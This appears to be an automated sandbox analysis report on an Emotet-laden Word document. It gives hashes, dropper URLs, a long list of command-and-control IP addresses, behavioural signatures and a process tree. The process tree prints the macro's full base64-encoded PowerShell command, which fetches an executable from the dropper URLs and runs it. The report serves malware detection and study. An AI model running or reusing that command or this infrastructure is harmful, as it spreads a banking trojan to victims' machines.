emotet | e2b52ca08d4008fa9685112c5dfd20fcc5fb9d70c23426f9a30404ece51ca0d1

General

Target
emotet_e3_e2b52ca08d4008fa9685112c5dfd20fcc5fb9d70c23426f9a30404ece51ca0d1_2020-08-13__151021._doc.doc
Size 231KB
Sample200813-1wsf95gm46
SHA256 e2b52ca08d4008fa9685112c5dfd20fcc5fb9d70c23426f9a30404ece51ca0d1
MD5 1317def7488655b2df2959fedae53a82
SHA1 20397ec5b67979ffc338256727a8307866c9b357
SHA512 04206e94883a297b7c9b773c841c5fbbe8266e3fb3827822165e5c1f89cbc63ced244f61a660519b2b8563573bc3b2b68f7279508513c076143c2b06e2d5b722
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
exe.dropper
http://riandutra.com/img/yiZS/
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
exe.dropper
http://mycyberhealth.online/yyczief/wlW/

Extracted

Family

emotet

C2

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3632	3160	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2248-12-0x0000000003F70000-0x0000000003F7C000-memory.dmp	emotet
behavioral2/memory/2248-12-0x0000000003F70000-0x0000000003F7C000-memory.dmp	emotet
behavioral2/memory/2752-15-0x0000000002090000-0x000000000209C000-memory.dmp	emotet
behavioral2/memory/2752-15-0x0000000002090000-0x000000000209C000-memory.dmp	emotet

Blacklisted process makes network request 5 IoCs

flow	pid	Process
11	3632	powersheLL.exe
29	3632	powersheLL.exe
31	3632	powersheLL.exe
33	3632	powersheLL.exe
35	3632	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2248	Wmzy.exe
2752	mimofcodec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\shwebsvc\mimofcodec.exe	Wmzy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3788	WINWORD.EXE
3788	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3632	powersheLL.exe
3632	powersheLL.exe
3632	powersheLL.exe
2752	mimofcodec.exe
2752	mimofcodec.exe
2752	mimofcodec.exe
2752	mimofcodec.exe
2752	mimofcodec.exe
2752	mimofcodec.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3632	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
2248	Wmzy.exe
2248	Wmzy.exe
2752	mimofcodec.exe
2752	mimofcodec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 2248	3632	powersheLL.exe	77
PID 3632 wrote to memory of 2248	3632	powersheLL.exe	77
PID 3632 wrote to memory of 2248	3632	powersheLL.exe	77
PID 2248 wrote to memory of 2752	2248	Wmzy.exe	78
PID 2248 wrote to memory of 2752	2248	Wmzy.exe	78
PID 2248 wrote to memory of 2752	2248	Wmzy.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e2b52ca08d4008fa9685112c5dfd20fcc5fb9d70c23426f9a30404ece51ca0d1_2020-08-13__151021._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3788

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
  "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\SysWOW64\shwebsvc\mimofcodec.exe
    "C:\Windows\SysWOW64\shwebsvc\mimofcodec.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2248-12-0x0000000003F70000-0x0000000003F7C000-memory.dmp

Download

memory/2752-15-0x0000000002090000-0x000000000209C000-memory.dmp

Download

memory/3632-8-0x000001F4FE330000-0x000001F4FE331000-memory.dmp

Download

memory/3632-7-0x000001F4FE180000-0x000001F4FE181000-memory.dmp

Download

memory/3632-6-0x00007FF9C29D0000-0x00007FF9C33BC000-memory.dmp

Download

memory/3788-0-0x00007FF9D1430000-0x00007FF9D1AF6000-memory.dmp

Download

memory/3788-5-0x000001C9CFCFD000-0x000001C9CFCFF000-memory.dmp

Download

memory/3788-4-0x000001C9CFCFF000-0x000001C9CFD00000-memory.dmp

Download

memory/3788-3-0x000001C9CFB32000-0x000001C9CFB37000-memory.dmp

Download

memory/3788-2-0x000001C9CFB31000-0x000001C9CFB32000-memory.dmp

Download

memory/3788-1-0x000001C9CFB32000-0x000001C9CFB37000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads